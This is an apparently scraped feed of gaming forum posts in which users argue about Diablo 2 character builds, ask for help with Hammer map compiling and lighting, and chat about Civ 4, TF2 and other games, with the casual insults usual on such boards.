I still never got CoP done so i didnt have that badass ring.

Oh wait...this is a blizzard truck... haha...

SE sucks balls... Seriously. They never cared about the FFXI players that much.

I have always wanted to try Diablo out though. I never cared much for WoW. I doubt my computer can run either of them.


In how NOT to report an incident... by moojuicemajik:
SOOOO
i play on csgamer servers alot...
im pretty nutorious for spec/demo/report on hackers.

csg has a forum for reporting cheaters/racist/general rule breakers.

i saw this and about died...now you have to read in order of link...k???

this do gooder thought he'd report a racist who was bugging everyone in the server...

http://www.csgamer.com/forums/viewtopic.php?f=6&t=17679

look carefully at the screenshot and read the admin comments...
theeen if you dont already know where this is going:

http://www.csgamer.com/forums/viewtopic.php?f=18&t=17684

epic.fail.
HAHAHAHAHA
cant make this stuff up. lol.

In Diablo 2 by phoenix_r:
DaveDays said:

.........I play a little wow


Sweet tell me all about it. My main was a human female retadin on dragonmaw-us. AND YOU!?!??!/!

In Diablo 2 by DaveDays:

.........I play a little wow

In d2lod help by Mate de Vita:
aaronjer said:
As far as fire sorceress spells go, I'd say that Fireball is the best choice for your main attack, couple that with as much FCR as you can and you will turn into what people call a 'Machine Gun Sorceress'.

FCR = faster cast rate? I may try that...

aaronjer said:
Also... is there a reason you don't play on Battle.net? Does it not work with your connection or something? Singleplayer is terrible, really, even if you want to play on your own the whole time. Just being on Battle.net means you can at least trade items between your own characters... I mean, you can't even mule items in singleplayer. Pretty lame...

I had a dial-up connection when I started playing diablo 2 and this was my first character.
I did have some characters on battle.net but then I suddenly stopped playing diablo for a long time and they all expired. Like the pudding I kept in my fridge for a month and a half.

I can still trade between my own characters on TCP/IP (I have two computers with diablo). So I just copy a character savegame to the other computer and trade from there. That's how I got a Swordguard Colossus Blade (which requires a pul and a lum rune, both of which I can only get in the Hellforge after destroying Mephisto's soulstone).

In Diablo 2 by aaronjer:
We could play on one of the Oasis maps I designed, it limits expansion so you won't have to worry about turtling or not. Also the games don't take very long because nobody ever has more than a handful of cities. I don't remember their resource layout anymore, so I wouldn't be at an unfair advantage, whether we worked together or not.

Civ 4 has a play by e-mail function. I believe it just sends your turn to the other guy and so on... it'd probably be the best bet since you don't usually have a lot of time to devote at once to gaming.

In d2lod help by aaronjer:
As far as fire sorceress spells go, I'd say that Fireball is the best choice for your main attack, couple that with as much FCR as you can and you will turn into what people call a 'Machine Gun Sorceress'.

Sadly, fire spells just don't do as much damage as lightning or cold. They're not bad, they just aren't the best. Lightning is definitely the highest damage if you can get a conviction aura going.

And as far as map hacks are concerned, you have to understand that Diablo 2 is a COMPLETELY different game on Battle.net. Because the game is designed in a way where most of the best character classes cannot function well before level 50 or even 80, everyone just skips the early game. I can give you an example...

Let's say I want to make a Trapsassin, just to keep things simple. ..

Step one: Join a players 8 game and kill things in the blood moor until I hit level 5, this takes about 8-10 minutes.

Step two: Join a Trist Run, continue until I hit 12, this takes 20-40 minutes depending on the skill of the runner.

Step three: Join a Tomb Run, continue until I hit 20, this takes between 1 and 4 hours depending on the skill of the runner and the availability of runs.

Step four: Join a Cow Run, continue until I hit 24, this takes about 5 minutes. Cow runs are godly XP.

Step five: Have someone rush me through normal, if they're as good as me this will only take a couple minutes. This is where the map hack comes in handy. All they have to do is teleport to Andy, open a TP, kill her. Teleport to both parts of the staff and open a TP, they just give me their horadric cube to speed it up. Teleport through Arcane and open a TP, kill summoner. Teleport to Duriel, open TP, use staff, kill. Teleport to council, open TP, kill. Teleport to Mephisto, open TP, kill. Teleport to Diablo, open TP, kill. Teleport to ancients, open TP, kill. This takes about 10 minutes total with map hack. I'll be 25 at this point from the ancients, this is important because you can't get XP from Baal runs until you are 25.

Step six: Baal run until I hit 40. This will take about half an hour. Normal Baal runs are very, very fast. You have to be level 40 to get the ancients quest in NM. I'll have to get someone to kill Baal for me though, as even a level 40 trapsassin can't fight yet well enough to kill Baal realisitcally.

Step seven: Repeat step five on NM. This will put me at 41. This doesn't take any longer than the normal rush if it's a good runner.

Step eight: Baal run until I hit 60, so I can kill hell ancients. I'll be strong enough to kill off NM baal quickly, but I'll still get someone to do it for me because it's faster.

Step nine: Pay someone for a hell rush if I can't get a friend to do it. This will take about 20 minutes if the runner is skilled.

Step ten: Hell Baal run until I hit 80 to get strong enough to complete all the useful side quests. This takes 30 minutes to an hour.

There, now I have a level 80 character at the parts of the game that are actually fun. By that I mean the parts of the game where I can find loot that I actually want to spend the time to pick up and identify. I can now MF run, PVP, just wander around killing stuff, or try to do the Chaos Trist stuff... and I skipped past all the boring crap in under 8 hours! The only thing I actually used maphack for that entire time was just to rush faster than I could without it. I'm just skipping everything anyway, so why skip it slowly?

You have to understand that I've been playing this game since it came out, I've gotten characters to level 90 or higher on nearly every ladder reset, and I just no longer have the patience to wander around in the Great Marsh slowly bludgeoning enemies to death one at a time for six hours. Don't get me wrong, making my way through the game without rushing WAS fun the first 20 times or so... I'm just done with it now. If there wasn't rushing and maphack, I would not still be playing this game. Call it cheating if you want, but the game is slow and boring without it.

Also... is there a reason you don't play on Battle.net? Does it not work with your connection or something? Singleplayer is terrible, really, even if you want to play on your own the whole time. Just being on Battle.net means you can at least trade items between your own characters... I mean, you can't even mule items in singleplayer. Pretty lame...

In Diablo 2 by NatureJay:
Zomg. We should totally play Civ 4 over the internets. We could be on a team on the biggest map, and then I could do my turtling/research thing while supplying you with the military technologies to take over the world and be really mean to the civilization of our choice. I think I mopped the floor with the Portugeuse last time... or was it the Zulus?... The Zulus can be scary. Anyway. We should do it.

Alternatively, we could fight it out and I could die because turtling never works.

In d2lod help by Mate de Vita:
Oh come on, can we please stop now? I get it, you're the pro, I'm a noob.
I've played diablo on my own, so I only know what I've seen and done myself and what I've read in some guides (although most guides are not to be trusted - for example the one I followed for a bowazon until I noticed that it said you should put 15-20 points into javelin skills in case you can't beat someone with a bow). Those guides are also the reason why I though a martial arts assassin would own a trapsassin. Besides the 30 levels I'd played with a MAA.

Now that I got that out of the way:

aaronjer said:
I never expected your current target to iron maiden you, it's the other oblivion knights that do that. And you must have been unbelievably lucky to only get IM'd to death in hell once...

Even if there are other oblivion knights, they often miss with curses when I'm charging someone. I don't know whether that's because you're immune to everything in charge or just because they miss but I just don't get IM'd while in Charge.
Well, yeah I guess I was lucky but also as I said, I play very cautiously, especially when there are oblivion knights around. And they don't have unlimited range with their curses and they don't follow you as much as other monsters do. And once you only have oblivion knights with no other monsters to deal with, it's quite easy really. They go down in a few shots.
And they have quite a variety of curses to cast on you so maybe that's another reason they didn't IM me so often.

aaronjer said:
melee mercs have a life expectancy of about six seconds in there, solely because of IM.

Which is why I've had a caster merc ever since I reached CS on nightmare.

aaronjer said:
They can certainly be marked as ineffective at solo for that...

I said if they have difficulties with it, not if they are unable to do it. By which I meant they had to do it one by one or something like that. And if they have to beat 1 area very slowly, that in my opinion doesn't make them ineffective.

aaronjer said:
Which would explain why I thought you were frighteningly noobish. Instead of just standard noobish.

Why, thank you.

aaronjer said:
Oh... and 4 hits with FoH is 100 mana... to kill one monster? Ouch.

Mana hasn't been a real issue to me ever since I got the Vampire gaze Grim helm. I already get half of it back with redemption and then I just hit a monster that's not completely immune to life/mana steal and get the other half back as well.

aaronjer said:
Blessed Hammers ignore the resistances of Undead and Demons. The only thing in the game that is magic immune and not either of those is the Wailing Beast.

Ah, I see. Interesting.

aaronjer said:
Slow is the very definition of ineffective in Diablo 2.

If you put it like that, then fine, my build fails I guess.

aaronjer said:
Well... Blizzard sorcs ARE better than frozen orb ones, but you can't solo with them at all so that wouldn't do you any good.

Well, I do have a blizzard/hydra sorc as well but I'm only on nightmare. And before you start, I only went with hydra to check it out. From what I've seen so far, it sucks. Maybe it would be good on lvl 20 with several +skills but that's not something I'm likely to get on SP.
I do like blizzard's damage but I find it a bit annoying when I just can't hit a monster.
Frozen orb still has a reasonable amount of damage if you hit the monster well and it's much easier to score a hit with it.
And meteor = damage.
And static field still helps a bit even on hell.

aaronjer said:
And I'm not trying to win, I'm trying to keep you from spreading filthy lies to that cloud.

Hey, that was settled when you told him that he should listen to Enjay and not me...

In Diablo 2 by aaronjer:
That better be a promise. I really would like to try to play Civ 4 some time over the internets as well... we can just have it be a "take a turn whenever you have time" game. I think it probably has the functionality to assist with that. Early game it would be annoying, but late game when your turns take like 20-30 minutes it would be the godsend to not have to worry about when you get it done.

That would also work especially well for Medieval 2: Total War 2; the Seconding (Part 2). If you played that. Which you should.

In meh speed cloud system by turnip1:
the_cloud_system said:
gamers unite on the death runs

WOOO DEATHRUN! i play as well but im better than you so whatever :)

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by turnip1:
I will give this map a try with compiling considering i just got a brand new comp made for compiling big files. If it doesnt work I think your screwed.


EDIT: After a long 20 minutes i have succesfully made it past Leafthreads and i am attempting the rest... THIS IS MY TIME SO BE THANKFUL! becuase i cant play games while compiling the most massive map ever made.


EDIT: This map is just to big....

22795 faces
Create Patches : 113694 base patches
0 opaque faces
1306859 square feet [188187776.00 square inches]
Error: Exceeded MAX_PATCHES
Description: The map has a problem which must be fixed

In d2lod help by Mate de Vita:
Ah, now I see where we had a misunderstanding.

No, I would never be able to make it through any difficulty with this build on hardcore. It's not that I die often but when I do, it just happens in half a second.

aaronjer said:
You said you wouldn't recommend traps, which means you WOULD recommend martial arts, given that it is the only other option. That is very, very wrong. Martial Arts Assassins can't even beat Nightmare, much less a Hell quill rat. I get that you hadn't played far enough to know that... but if you haven't played through the game as a class why on earth are you recommending about it?!

I just said that I wouldn't recommend traps as he wouldn't... know what, never mind. I fail.

aaronjer said:
And your counter for oblivion knights is what? Oh, right, nothing. Yeah, that character can't beat normal without getting killed by iron maiden over and over again. That's not a successful character. Simply dying over and over until you've whittled the enemy down or surviving sheerly through luck of the curse cast does not count as an effective build. NO melee class is effective in solo, they all die to iron maiden instantly.

You COULD go through the whole game with a melee Necromancer that uses no skills... eventually... you see my point here?

I somehow didn't have a problem with them. They just didn't cast IM on me very often I guess. In the whole CS I only died once from IM on hell. Also if you charge them from a distance, they won't hit you with the IM in charge.

Oh and I'd like to see an oblivion knight that can cast IM on me while I'm continually charging him.

And I don't think a character can be marked as ineffective just because he has difficulty with one area in the game.

Otherwise I see your point.

aaronjer said:
So you're agreeing with me then? That's at least 3/4ths of all boss monster right there. And once again, a character with no skills and only melee could seperate the enemies and slowly eventually kill them all... that's no kind of way. Also saying that cold enchanted/lightning enchanted monsters are bugged is like saying "I'm too much of a noob to kill a monster most people kill accidentally while it's still off screen." Your character can't solo if it can't fight ANY possible random boss realistically. I'd love to see you try to kill something like the Venom Lord boss in the the Chaos Sanctuary with that character... I'm sure you'd eventually get him... I guess...

3/4 of specials? Not exactly. In act 5 I've had 3 CELE monsters so far, 2 of which I killed without dying and the 3rd I just left well alone.
And in act 5 there are very few places with limited room to maneuver so unless I get an extra fast monster right at the entrance to a new area, they shouldn't give me any problems.
As for the Venom Lord, yeah, I expect quite some difficulties there.
Oh and if you don't accept isolating monsters, then this build sucks by definition, it's not a crowd controller build.

aaronjer said:
Zeal is one of the best all around melee attacks in the game, possibly the best. That said, it's terrible. It doesn't fit an anti-boss niche, invites monsters to melee attack you without any chance of getting stunned for it (in hell any character will die in a few seconds to many monsters at melee range, if you're not stunning them they'll just pick you up and eat you), and stun-locks YOU just for using it. It's like melee strafe, and strafe is a fucking trojan horse of a move at long range! Zeal is just suicidal in hell... let's not even mention your survival rate vs. oblivion knights again...

There's a reason I call this guy a Chargeadin, not a Zealot. I only use zeal for large groups of weak monsters (such as cave leapers, fetish etc.). In other words those that would be way too annoying with Charge. And it is good enough for them, that you can believe me. Especially with a cold-caster Iron wolf merc.
I mainly still use Charge.

aaronjer said:
FoH has laughable damage in Hell difficulty, even with like 20 +skills it's just awful. It's not realistically useful against anything but other players. (players have like 1% the hp of monsters.)

FoH still does enough damage to the monsters I need it for (e.g. Bone mages and wraiths in act 5) I have it on lvl 22 or 23 and it kills a bone mage in 3 or 4 shots and the open wounds/FoH combo is good enough for wraiths.

aaronjer said:
*facepalm* You've apparently never used Blessed Hammer before. I meant what I said about Wailing Beasts.

No, I've never used blessed hammer, at least not to a great extent... But I don't get this. Both the Wailing Beasts and the Greater Mummies are Immune to magic. Why then are Wailing Beasts hammer-resistant and Greater Mummies aren't?

aaronjer said:
If you thought the Claw Vipers were bad, just wait until Lister and friends decide to permastun you and then take a dump on your chest. Oh... and good luck with the Hell ancients... you really might never beat that given that they reset. They're next to impossible with almost any character. Honestly only Hammerdins could be said to do well against them, they're the only thing that could beat them no matter what mods they get. You'll just have to keep resetting them until you get some mods you can work with, if there even is a possibility of that.

Lister? Is that the Minion of Destruction special? Hmm... Do they get knocked back or not? I forget...
Hell ancients. I don't know, I really can't anticipate what it's going to be like but I haven't had difficulties with any uniques so far. As for the ancients, on normal they were a pain. On nightmare they were a laugh. I guess that does mean on hell they'll be, well, hell. Ah, well, screw it.

But anyways yeah, I agree this isn't a build for solo rushing, it's a build for an easy cautious slow gameplay. But still I died a lot less than you seem to believe...

Also the Iron wolf (I think they're called Iron wolves) mercenary with cold spells helped me (although he kept dying ever since I reached Travincal on Hell, now I don't have him anymore).

And also life steal still helps me a lot even on Hell difficulty. Especially against e.g. Thorned rats.

Oh and btw you do know that in CS if you kill the specials that the seals spawn (and I think their groups), the other monsters die and you fight Diablo in peace regardless? At least that's how it was with my brother's edited magic-find Barb...



Oh well, you win I guess, I can't beat all your arguments. But I'm still gonna play this build and get through this game. :) Then I can at least say that my first ever build was a successful one.

But even after that many words said I still don't know what that Rezierfag, or whatever it is, is.


In other news I just reached Stony field on Hell with a frozen orb/meteor sorceress. And if anyone mentions a Blizzard sorceress I'm going to take Havokk's mom's .9 mm.

In d2lod help by aaronjer:
Woot! Quote fight!

Mate de Vita said:
I said I only got to 4th act on normal and that I only liked it that far. That's hardly over level 50 (30 is more like it).
I also said traps can be deadly if used right. So I did nothing wrong.


You said you wouldn't recommend traps, which means you WOULD recommend martial arts, given that it is the only other option. That is very, very wrong. Martial Arts Assassins can't even beat Nightmare, much less a Hell quill rat. I get that you hadn't played far enough to know that... but if you haven't played through the game as a class why on earth are you recommending about it?!

Mate de Vita said:
Alright, let's do it then.
Something I've never done? You bet your ass I've done it... I can give you my save game for single player if you want. It's a level 83 currently in Crystalline Passage on Hell difficulty.

And please note that this is my own custom build (there is no guide for it, at least none that I'm aware of).
And it owns. Although I do have quite good equipment for single player where you can't trade with others (I don't play on battle.net).


And your counter for oblivion knights is what? Oh, right, nothing. Yeah, that character can't beat normal without getting killed by iron maiden over and over again. That's not a successful character. Simply dying over and over until you've whittled the enemy down or surviving sheerly through luck of the curse cast does not count as an effective build. NO melee class is effective in solo, they all die to iron maiden instantly.

You COULD go through the whole game with a melee Necromancer that uses no skills... eventually... you see my point here?

Mate de Vita said:

There are only 2 types of specials that can kill me with this build:
- cold enchanted lightning enchanted (because they're freakin bugged so this doesn't count). And I can still kill most of them.
- extra fast (and it's much worse if they're extra strong and mana burn as well) monsters like e.g. guest Dark Lancers or Moon Lords in act 5 (monsters that are already fast enough as it is without being specials and then get a boost from being extra fast as well) if they have lots of minions.

Otherwise I just separate the minions a bit, go against 2 of them at once and charge between them and so kill them until only the special is left. Then I just hold the LMB on him and keep charging him on clear terrain until he's dead.


So you're agreeing with me then? That's at least 3/4ths of all boss monster right there. And once again, a character with no skills and only melee could seperate the enemies and slowly eventually kill them all... that's no kind of way. Also saying that cold enchanted/lightning enchanted monsters are bugged is like saying "I'm too much of a noob to kill a monster most people kill accidentally while it's still off screen." Your character can't solo if it can't fight ANY possible random boss realistically. I'd love to see you try to kill something like the Venom Lord boss in the the Chaos Sanctuary with that character... I'm sure you'd eventually get him... I guess...

Mate de Vita said:

FoH is not really a necessity for this build but it does help to have something to be able to kill monsters from safety. But still, it's not crucial.

FoH has laughable damage in Hell difficulty, even with like 20 +skills it's just awful. It's not realistically useful against anything but other players. (players have like 1% the hp of monsters.)

Mate de Vita said:

Here I have to disagree. With fantacism and a good sword, Zeal can be a great crowd controller as well as a good finisher for a single monster pinned against something (so you can't push it back anymore - you can't repeatedly charge it).
Although again it's not necessary to have Zeal, it does help a lot.


Zeal is one of the best all around melee attacks in the game, possibly the best. That said, it's terrible. It doesn't fit an anti-boss niche, invites monsters to melee attack you without any chance of getting stunned for it (in hell any character will die in a few seconds to many monsters at melee range, if you're not stunning them they'll just pick you up and eat you), and stun-locks YOU just for using it. It's like melee strafe, and strafe is a fucking trojan horse of a move at long range! Zeal is just suicidal in hell... let's not even mention your survival rate vs. oblivion knights again...

Mate de Vita said:

By soloing I meant soloing completely, not trading with others and then just killing monsters on your own.
If you go with a hammerdin on single player, you're retarded. It's incredibly hard to get a good enough equipment for a hammerdin if you can't trade with others.


I agree. Even if you got lucky and found a Wizard Spike or something passable like that, you'd never get an Enigma, and they can't function without one.


Mate de Vita said:

I think Greater Mummies are also Magic immune and they can be found in several places throughout act 2 and in sewers of act 3. And in Baal's throne room. Oh and also Plague Bearers I think. And Blessed Hammer is magic damage, no?
But yeah, I get your point and hammerdin is still probably the best paladin for battle.net.


*facepalm* You've apparently never used Blessed Hammer before. I meant what I said about Wailing Beasts.

Mate de Vita said:

Oh and I also haven't been to the Worldstone keep on Hell difficulty yet. From what I've seen on some characters I got from elsewhere (lvl 99), it won't be easy either. But still, I think I'll be able to do it.


If you thought the Claw Vipers were bad, just wait until Lister and friends decide to permastun you and then take a dump on your chest. Oh... and good luck with the Hell ancients... you really might never beat that given that they reset. They're next to impossible with almost any character. Honestly only Hammerdins could be said to do well against them, they're the only thing that could beat them no matter what mods they get. You'll just have to keep resetting them until you get some mods you can work with, if there even is a possibility of that.

If you have an older version of the game from before Hell was beefed up again you might be able to kill the ancients without a problem... actually everything would be quite a bit easier like that.

Mate de Vita said:

Bottom line is, the Chargeadin is a good build (especially for a custom build by a noob) but it takes a lot of time getting used to. And it helps to have a good equipment with a two handed sword. And a holy shit lot of life steal (I think I have 45% or something like that).


I don't feel like arguing if it's a good build in general, it's just not a good solo build. There's no such thing as a melee solo character. Even aside from all the other problems you'd have, like the fact that about half of the monsters are completely immune to life steal, and that it's SERIOUSLY nerfed in hell on top of that, there's oblivion knights. Melee CAN NOT SOLO oblivion knights. GIANT MENSTRUATING PERIOD. Getting through the act, but dying over and over to iron maiden, or even just having to go back to town every time you get iron maidened is NOT as easy as anyone's mom. A completely perfect FoH will only do like 9k damage, and that's just the the main target and for a HUGE mana cost. I'm guessing that your FoH is probably less than a third of that... I can't imagine the pain of whittling away every last oblivion knight in the Chaos Sanctuary with that just so you can kill Diablo in peace... If you actually look up guides about FoH paladins you will see that there isn't even a PvM section on them. FoH is only good because it can't miss (except vs. amazons...) so is invaluable in PvP along with conviction.

In d2lod help by Mate de Vita:
Alright, let's do it then.

aaronjer said:
Listen to Enjay, Mate has no idea what he's talking about. The ONLY effective Assassin is a Trapsassin, and they are all but useless before around level 50. Martial Arts Assassins have poor crowd control and next to no survivability.

I said I only got to 4th act on normal and that I only liked it that far. That's hardly over level 50 (30 is more like it).
I also said traps can be deadly if used right. So I did nothing wrong.

aaronjer said:
WRONG.

Don't give advice about something you've clearly never done.

Something I've never done? You bet your ass I've done it... I can give you my save game for single player if you want. It's a level 83 currently in Crystalline Passage on Hell difficulty.

And please note that this is my own custom build (there is no guide for it, at least none that I'm aware of).
And it owns. Although I do have quite good equipment for single player where you can't trade with others (I don't play on battle.net).

aaronjer said:
you would get dominated by almost any non-unique boss with a character like that.

There are only 2 types of specials that can kill me with this build:
- cold enchanted lightning enchanted (because they're freakin bugged so this doesn't count). And I can still kill most of them.
- extra fast (and it's much worse if they're extra strong and mana burn as well) monsters like e.g. guest Dark Lancers or Moon Lords in act 5 (monsters that are already fast enough as it is without being specials and then get a boost from being extra fast as well) if they have lots of minions.

Otherwise I just separate the minions a bit, go against 2 of them at once and charge between them and so kill them until only the special is left. Then I just hold the LMB on him and keep charging him on clear terrain until he's dead.

aaronjer said:
Charge and foh are PVP skills, they have no place in the normal game

FoH is not really a necessity for this build but it does help to have something to be able to kill monsters from safety. But still, it's not crucial.

aaronjer said:
and Zeal is just plain bad. It's like a shitty version of Smite that doesn't even stun.

Here I have to disagree. With fantacism and a good sword, Zeal can be a great crowd controller as well as a good finisher for a single monster pinned against something (so you can't push it back anymore - you can't repeatedly charge it).
Although again it's not necessary to have Zeal, it does help a lot.

aaronjer said:
Hammerdins are the only kind of Paladin that can solo the whole game, and they require very expensive gear.

By soloing I meant soloing completely, not trading with others and then just killing monsters on your own.
If you go with a hammerdin on single player, you're retarded. It's incredibly hard to get a good enough equipment for a hammerdin if you can't trade with others.

aaronjer said:
They ARE the highest damage class in the game with the right gear though. Hammerdins have unresistible damage against every monster in the game except Hell difficulty Wailing Beasts, which are rare and never found in any required areas of the game.

I think Greater Mummies are also Magic immune and they can be found in several places throughout act 2 and in sewers of act 3. And in Baal's throne room. Oh and also Plague Bearers I think. And Blessed Hammer is magic damage, no?
But yeah, I get your point and hammerdin is still probably the best paladin for battle.net.

aaronjer said:
All other classes either can't beat something required on their own

Now this is something I can't completely disagree with. There was one place in the game that almost made me stop playing because I just couldn't make it through. And that's Claw Viper Temple on Hell difficulty.
I only got to level 2 twice (not that I tried that many times but still) and the first time died immediately after entering level 2 and had to save and exit to get my body without dying half a second later.
The second time I had better equipment (I upgraded my Swordguard Executioner Sword to a Swordguard Colossus Blade), an idea from you and an enormous amount of luck. I was able to teleport to the center, open whatever it is in the middle, teleport back and tele-grab the viper amulet just before getting killed by the angry vipers.
Oh and I also haven't been to the Worldstone keep on Hell difficulty yet. From what I've seen on some characters I got from elsewhere (lvl 99), it won't be easy either. But still, I think I'll be able to do it.


Bottom line is, the Chargeadin is a good build (especially for a custom build by a noob) but it takes a lot of time getting used to. And it helps to have a good equipment with a two handed sword. And a holy shit lot of life steal (I think I have 45% or something like that).

Oh and thanks for the trapsassin guide.


btw speaking of diablo2lod, I've been wondering about something for a long time. What the hell is this?

In :| by turnip1:
Ok so i am making this map where you pres a button and these jail doors go down under the map making it look like they open somewhat now i usd a bar texture with some supposivley invisible stuff and i made it a func_train but when i play it the invisible stuff is actually black :S anyone have any ideas on how to fix this?

In Lighting by xdarkcodex:
Hey I'm new to map making and I can't seem to make the light work.So when i play it's pitch black...I followed the tutorial thing but i still can't get the lights to work.I even added more than 1 light thing in the small room but still no light.Help?

In d2lod help by Mate de Vita:
You need a map hax to be able to play through diablo? You suck man...

In I Hate Life by Sloth:
Havokk Edge said:
Thank you. *click*


I want to show a vid, 'bout havokk. and why he is on suicide thoughts. R.I.P.


Play him off keyboard cat!
http://www.youtube.com/watch?v=SJ5w4MkFofc&feature=related

In meh speed cloud system by the_cloud_system:
O_o ok

im going to play cs1.6 at my moms house

join the madness, i will be playing deathruns, zombey mods, pantball is gay all night no sleep

http://steamcommunity.com/profiles/76561197998656991


In I've been away for a while... by aaronjer:
We have secret liaisons at the exact midpoint between Washington and Israel. There we play on our dangerously outdated slip-and-slide and skim interesting plant life off the surface of water.

We've recently updated our friendship level from "pals" to "chums".

In Spartan Vs. Ninja by phoenix_r:
jrkookid said:
You guys now play chess together?

*ZZZZZZZZZZIIIIIIIINNNNNNNNGGGGGGG
That is probably the funniest thing you will ever say. BRAVO, GOOD SIR!

In Spartan Vs. Ninja by jrkookid:
You guys now play chess together?

In CT and T controlable weapons by Down Rodeo:
Eh, probably not. Hammer doesn't have that high a requirement. Actually I managed to play CS:S on my laptop with onboard graphics. It managed a high of 18 fps with an average of 12. Good times

In CT and T controlable weapons by Farmboy102:
I also want to know whats the minimum requirements for the graphics. I can play CS but not source coz I'm still using my onboard graphics will this have an effect on my hammer mapping ?

how about this ?


In CT and T controlable weapons by Farmboy102:
Ok I noticed on team fortress that some items can only be picked up by certain teams now how can I do this in CSCZ.

I want to make a mounted machine gun that can only be used by the terries , now I got a new PC ( Finally now I can make Bigger maps than usual ) and I forgot to backup all my previous data so I have to start mapping all over again now I remember most of the stuff , But I need some tutorials again, I also need the content for the .bat file I kinda forgot that.

I also need a tutorial for a mounted machine gun coz I can't remember where I found my previous tutorial. ( It feels like I've got amnesia. )

I also want to know whats the minimum requirements for the graphics. I can play CS but not source coz I'm still using my onboard graphics will this have an effect on my hammer mapping ?

Then there is another weird thing happening that didn't happen on my old PC when I'm mapping , If I create a solid , there's a diaganol white line through it now this also happens on my laptop , but it never happened on my old pc, can anyone explain this to me, also when I click on the solid , if there is another solid behind it , it doesn't select the solid I click on but instead the one in the back.

Wow thats alot of problems for a new PC can you guys help me solve it ?

Thanks.


In Team Fortress 2 - Sniper Update by SolidKAYOS:
aaronjer said:
Left 4 Dead,
Owns CSS super hard,
So I play that.

These are not Haiku,
They are probably Senryū,
Or not poetry.

This is a Haiku,
It is about the seasons,
Like an autumn breeze.


In Team Fortress 2 - Sniper Update by aaronjer:
CS 1.6,
Owns CSS super hard,
But I play neither.

These are not Haiku,
They are probably Senryū,
Or not poetry.

This is a Haiku,
It is about the seasons,
Like an autumn breeze.

In Team Fortress 2 - Sniper Update by molkman:
I haven't played it since it killed my dad's PC's graphics card last summer (I'm on Mac here, so can't play it). The Meet the Spy video is great though, also if you pause at the big board with the words that say "Red Spy" "In Base" etc you can find alot of things.

"Look! Red! No wait... it's blood."

In Team Fortress 2 - Sniper Update by jrkookid:
phoenix_r said:


'Nuff said.

You are gay I think everyone knows what CSS IS!

@ aaronjer
I play it on meh xbox 360

In Team Fortress 2 - Sniper Update by aaronjer:
Does anyone here other than you even play TF2? I mean... TF2 is an enemy of circumstance, so I can't really play it, and everyone else seems uninterested.

In my sinz by the_cloud_system:
is it sopost to skip when i play it/prevew it

In my sinz by the_cloud_system:
ok in geting VEREY FUCKING PISSED CAUSE I CANT DOWNLOAD MY SONGS WITH FIREFOX

http://update.downloadhelper.net/update.html

http://www.rhapsody.com/sonata-arctica

useley i play my songs then download them off rhapsody but firefox is geting anal and not leting me do it aney help

In Map only playable on one server by Down Rodeo:
Where did you see it? I still stand by my point that as soon as you give the player the file they can copy it, keep it, do whatever... And I really don't think there's a way to play a map without having downloaded it. CounterStrike downloads the map, saves it, loads it, renders it, closes it, doesn't delete it.

In Map only playable on one server by jrkookid:
holy shit you can do that? But wats the point? Isn't it good to have people actually want to play on your map?

In no Error :/ by gali:
u.u ok, but the grid at the editor is large enought, now i solve the problem and i can play the maptest well. there is another program that let me do a map with 12 floors?

In Play this. by DaveDays:
http://www.newgrounds.com/portal/view/494237

ok, play this game, go into castle creator and paste this code:

2~w_s:693.35,358.35|fl_s:783.35,286.65|w_s:693.35,221.65|fl_s:783.35,151.65|fl_s:785.05,18.3|w_s:691.7,86.65|w_s:693.35,-48.35|fl_s:781.7,-120|w_s:873.35,356.65|w_s:871.7,221.65|w_s:870,86.65|w_s:868.35,-45|w_s:778.35,-191.7|p_s:778.35,-276.7|w_i:780,-51.7|w_i:781.65,83.3|w_i:781.7,221.65|w_i:786.7,356.65|w_s:988.35,358.35|fl_s:1078.35,286.65|w_s:1165,355|w_s:988.35,220|w_s:1165,221.65|fl_s:1078.35,151.65|w_s:988.35,85|w_s:1165,86.65|fl_s:1078.35,16.65|w_s:986.7,-50|w_s:1163.35,-48.35|fl_s:1078.35,-116.7|w_s:1075,-181.7|p_s:1073.35,-270|w_i:1083.35,-46.7|w_i:1083.35,83.3|w_i:1080,221.65|w_i:1078.35,358.35|c_k:731.7,-21.7|c_k:820,-20|c_k:828.35,111.65|c_k:730,111.65|c_k:738.35,248.35|c_k:826.7,246.65|c_k:738.35,388.35|c_k:840,380|c_p:1033.35,-33.35|c_p:1033.35,106.65|c_p:1023.35,248.35|c_p:1036.7,366.65|c_p:1120,353.35|c_p:1118.35,216.65|c_p:1125,88.3|c_p:1123.35,-38.35|

It should look like something familiar, I'll give you guys a hint.... 2001.

In ATI graphic cards by fedex _:
well i dunno what version is mine cause i have an ati x850 but it runs like shit so i dont know what to do about it cause this graphics card is gettin on my last nervours


you can play on open gl but it will run REALLY bad

In Do you knooooow? by molkman:
Well, I just love the music in this handy little game here and I was wondering if anyone here knows similiar music like this?


In ATI graphic cards by Mate de Vita:
Does anyone here have an ATI graphic card with a 7.11 driver or above? Because I'm wondering:
MuzzleFlash said:
This is likely to happen if you're running on an ATI Graphics Card. Thanks to them dropping OpenGL support in their latest drivers (anything above 7.11), you can't select anything in Hammer's 3D window.

Does this mean that you can't play any games that require OpenGL support? Like Star Wars JKJO/JKJA or CS in Open GL mode?

In omg a firetruck by me? well not really but i got a nice map idea by Mate de Vita:
Go ahead and make the map. Then I'll flame and insult it like crazy play it and enjoy.

In I don't actually need help by the_cloud_system:
this forum us a lital A.D.H.D.~~~~~~~~~~~~~~~~



so you want to play on your own server

i wont just give you a link telling you google the shit
ill google it for you >.>

sorrey its the best i could do

How to make your own counter Strike server with hamachi!!!
http://www.youtube.com/watch?v=rjh7ne4YzAc

In Champions Online by aaronjer:
Jake?! said:
aaronjer said:
DDO already shoved them out the door, just nobody noticed it.


Srsly, uRrite.


Srsly.

Hay enjay! Go get the trial of DDO and play with us. We are having the blast.

In Champions Online by SolidKAYOS:
Im sure it will have a free trial.every MMO does. But dont think you ganna play the trial and say fuck the game.

and fuck eve this is about CHAMPIONS! so you can shove eve up your ass!

In Champions Online by NatureJay:
hay guys, want to play EVE?

In Champions Online by SolidKAYOS:
SO...whos ganna play??? WHOS GANNA FUCKING PLAY!?

In Counter Strike Game problem by titanium00neon:
Ok. So I make a new map. The map works, BUT in 1.8 when I want to add bots, it starts analyzing and it doesn't stop. How do you do it in 1.6? Can I create the .nav file manually? I don't get it how do you play all of your custom made maps in 1.6 with bots?

In l4d?? by Down Rodeo:
The smart people on this forum play on PC.

In l4d?? by Jack da Rippa:
I think about half this forum plays L4D man.Me and Jigsaw play it alot recently.but we are full on party unless you wanna get raped by us.

